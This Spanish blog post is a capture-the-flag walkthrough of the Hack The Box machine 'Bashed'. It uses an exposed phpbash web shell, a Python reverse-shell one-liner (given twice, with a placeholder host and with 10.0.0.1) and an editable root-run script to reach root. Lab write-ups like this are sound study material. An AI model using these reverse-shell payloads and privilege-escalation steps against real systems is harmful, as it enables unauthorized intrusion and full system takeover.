miércoles, 17 de junio de 2020

Machine:Bashed

BASHED


Plataforma: Hack the Box
OS: Linux
Machine: Bashed
Dirección IP: 10.10.10.68

Reconocimiento:

Comandos:

nmap -sC -sV -p 1-65535 -T4 10.10.10.68

Información Obtenida:
Puerto: 80
Servicio: HTTP
Servidor Web: Apache
Versión del Servidor Web: 2.4.18
Sistema Operativo: Ubuntu


Se verificó el sitio y se encontró que es estático e informa de una herramienta llamada phpbash desarrollada por Arrexel.

Ejecutamos la herramienta dirsearch.py de impacket con la finalidad de encontrar directorios:

Comandos:
python3 dirsearch.py -u http://10.10.10.68/ -E -t 50


Se encontró el directorio /dev que es posible listar:


Encontramos que podemos ejecutar comandos en una shell interactiva de phpbash.min.php y phpbash.php, como podemos ejecutar comandos obtenemos rapidamente la bandera user.txt:

Explotación:


Se encontró en el servidor remoto distintas versiones de Python por lo que se ejecutó el siguiente Script y se dejo un puerto en escucha en nuestra máquina local con la finalidad de obtener una Shell reversa:

Comandos:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("TU_IP",PUERTO));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lnvp 4444



Ejecutamos los siguientes comandos para obtener una Shell Interactiva:

Comandos:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color
Ctrl +Z para detener la sesión


Finalmente ejecutamos los siguientes comandos pata tener la Shell Interactiva completa:

Comandos:
stty raw -echo
fg
export TERM=screen

Nota: Despues de ejecutar el primer comando, se debe presionar fg para retomar la sesión pausada:

Ejecutamos los siguientes comandos para listar algún usuario con privilegios (En este caso encontramos a scriptmanager) y posteriormente obtener una Shell:

Comandos:
sudo -l
sudo -u scriptmanager /bin/bash


Encontramos solo un directorio en el cual podemos acceder con el usuario scriptmanager:


Elevación de Privilegios:


Vemos que el usuario scriptmanager solo tiene el permiso para editar el Script, al parecer el Script se ejecuta como root, abre el archivo con privilegios de read y escribe en el archivo la cadena de texto testing123!.


Aprovecharemos este script programado para ejecutar una Shell reversa como usuario root, por lo que dejamos un puerto en escucha y modificamos el script:

Script:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);


Obtenemos la Shell como root:


Finalmente obtenemos la bandera de root:

Etiquetas: , ,

0 comentarios:

Publicar un comentario

Suscribirse a Enviar comentarios [Atom]

<< Inicio